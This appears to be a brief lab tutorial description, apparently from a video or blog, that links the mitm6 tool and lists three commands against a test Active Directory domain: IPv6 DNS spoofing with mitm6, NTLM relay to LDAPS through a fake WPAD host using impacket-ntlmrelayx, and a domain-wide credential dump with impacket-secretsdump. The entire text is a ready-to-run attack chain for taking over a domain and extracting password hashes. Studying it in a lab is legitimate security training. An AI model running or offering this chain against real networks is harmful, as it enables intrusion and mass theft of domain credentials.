Link to the repository: https://github.com/dirkjanm/mitm6
Commands used:
1) mitm6 -d BERSERK.local
2) impacket-ntlmrelayx -6 -t ldaps://10.0.2.16 -wh fakepad.BERSERK.local -l loot
3) impacket-secretsdump -dc-ip 10.0.2.16 -just-dc BERSERK.local/'user':'password'@10.0.2.16.
Feel free to ask any doubts in the comments section.